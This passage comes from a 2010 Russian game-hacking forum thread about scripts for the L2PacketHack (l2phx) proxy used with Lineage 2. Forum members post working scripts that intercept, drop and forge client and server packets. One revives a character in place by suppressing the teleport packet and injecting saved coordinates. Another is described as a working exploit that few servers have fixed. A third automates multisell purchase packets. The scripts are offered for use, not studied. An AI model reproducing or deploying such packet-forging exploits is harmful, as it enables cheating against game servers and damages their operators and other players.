Name='Своё имя вписать сюда';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.

Рабочийй скрипт на ИТ. Мало где фикс.
________________
Рулит =)
Помог ??? Тыкай спасибку =)
Соблюдаю все правила Zhyk.ru =)
  Ответить с цитированием
Старый 09.08.2010, 12:28   #59
Заблокирован
 Пехотинец
Аватар для 4yna4ynC
 
4yna4ynC на правильном пути4yna4ynC на правильном пути
Регистрация: 03.03.2010
Сообщений: 61
Популярность: 181
Сказал(а) спасибо: 257
Поблагодарили 60 раз(а) в 54 сообщениях
Отправить сообщение для 4yna4ynC с помощью ICQ Отправить сообщение для 4yna4ynC с помощью Yahoo Отправить сообщение для 4yna4ynC с помощью Skype™
 
По умолчанию Re: Скрипты для l2phx

Цитата:
Сообщение от MarkulusПосмотреть сообщение
везде видел упоминание о скрипте на авто рес.. а может кто выложит?

Код:
//Скрипт на возрождение на месте после смерти. 
//Включите скрипт,когда вы умерли возьмите себя в таргет и нажмите в город. 
//Вы встанете наместе. 
//Автор pmen    ICQ - 479917081 
//=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 
const 
//====================================== 
Name='Krisa'; //<-----Ник Персонажа
//====================================== 
var                 
a:integer;x:integer;MyID:string; 
y:integer;z:integer; 
b:boolean;ValidatePosition:string; 
    procedure Init;    //Вызывается при включении скрпта 
begin 
SendMsc('Возьми себя в таргет');  //Системное сообщение 
b:=false; //Условие b первоночально False 
end; 
    procedure SendMsc(msc:string); 
begin 
buf:=#$4A; 
WriteD(0); 
WriteD(10); 
WriteS(''); 
WriteS(msc); 
SendToClient; 
end; 
begin 
//Нечитаем пустые пакеты 
if pck='' then exit; 
//Если Имя соединения Name 
//И Пакет Action от клиента то   
    if FromClient and (ConnectName=Name) and (pck[1]=#$04) then  
begin 
//Сохраняем мой Обжект Ид 
MyID:= pck[2]+pck[3]+pck[4]+pck[5];   
a:=ReadD(2); x:=ReadD(6); //Читаем и запоминаем данные 
y:=ReadD(10); z:=ReadD(14); 
    SendMsc('Все данные сохранены!'); //Оповещаем о том что все прошло успешно 
b:=true; 
end; 
begin  
    if pck='' then exit; //Не читаем пустые пакеты 
//Если от Клиента пакет RequestRestartPoint 
//Запоминаем ValidatePosition до revive 
//Посылаем клиенту TeleportToLocation 
    if FromClient and (ConnectName=Name) and (pck=hstr('6D 00 00 00 00')) then 
    if FromClient and (ConnectName=Name) and (pck[1]=#$48) then ValidatePosition:=pck; 
    if FromServer and (ConnectName=Name) and (pck[1]=#$28) and (MyID= pck[2]+pck[3]+pck[4]+pck[5]) then 
   begin 
     pck:=''; //Убиваем стандартный пакет 
     buf:=ValidatePosition; //посылаем ValidatePosition 
   SendToServerEX(Name); 
     buf:=#$28; 
     WriteD(A);        //Obj.ID 
     WriteD(X);       //Coord.X 
     WriteD(Y);       //Coord.Y 
     WriteD(Z);       //Coord.Z 
     SendtoclientEX(Name); 
     buf:=ValidatePosition;  //посылаем ValidatePosition 
   SendToServerEX(Name); 
   end; 
end; 
end.
  Ответить с цитированием
Старый 10.08.2010, 21:21   #60
 Сержант
Аватар для IncubusX
 
IncubusX излучает ауруIncubusX излучает ауруIncubusX излучает ауруIncubusX излучает ауруIncubusX излучает ауруIncubusX излучает ауру
Регистрация: 04.03.2010
Сообщений: 117
Популярность: 604
Сказал(а) спасибо: 213
Поблагодарили 111 раз(а) в 47 сообщениях
Отправить сообщение для IncubusX с помощью ICQ
 
По умолчанию Re: Скрипты для l2phx

Добрый вечер, решил сделать скрипт для l2phx для автоматической проверки мультиселлов, но столкнулся с такой проблемой, если лист большой то слишком долго менять скрипт надо. За пример взял скрипт с Coderx.ru
Цитата:
var
TimerCycle:integer;
timer:TTimer;

procedure Init;
begin
timer:=TTimer.Create(nil);
timer.interval:=1;
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
TimerCycle:=1;
end;

procedure OnTimer(Sender: TObject);
begin
case TimerCycle of
1:begin
buf:=HStr('A70487010040420F00010000000000000000000 000'); //1 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
2:begin
buf:=HStr('A709030000200B2000010000000000000000000 000'); //2 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
3:begin
buf:=HStr('A709030000801A0600E80300000000000000000 000'); //3 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
4:begin
buf:=HStr('A711270000A0860100010000000000000000000 000'); //4 пакет
sendtoserver;
TimerCycle:=1;
timer.interval:=1;
end;
end;
end;

procedure Free;
begin
timer.free;
end;


begin
useforconnectid := ConnectID;
if FromClient and (pck=HStr('56 0D 00 00 00 00 00 00 00 00')) then timer.enabled:=true;
if FromClient and (pck=HStr('39 0F 02 00 00 00 00 00 00 00')) then timer.enabled:=false;
end.

Но при такой реализации необходимо каждый пакет добавлять в скрипт, самой лучшей реализацией было бы иметь в папке со скриптом файл например packet.pct в котором спосок мультиселлов а скрипт считывает построчно из этого файла эти пакеты пока они не кончатся. Прошу помочь реализовать данный скрипт, он будет полезен не только мне!
  Ответить с цитированием
Ответ

Метки
l2phx, скрипты

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Скрипт] Скрипты для RFRudokop. Vizir Rising Force Online 13 15.07.2009 00:10
[Файл] l2phx.3.4.1.70 ZliLO Скрипты и перехват пакетов 7 05.04.2009 23:25
[Руководство] Нейтральные скрипты maxxx Архив Warcraft 3 0 11.11.2008 21:22
Скрипты для Рудокопа Chopa Архив уязвимостей 1 16.07.2008 17:32

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 12:15.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net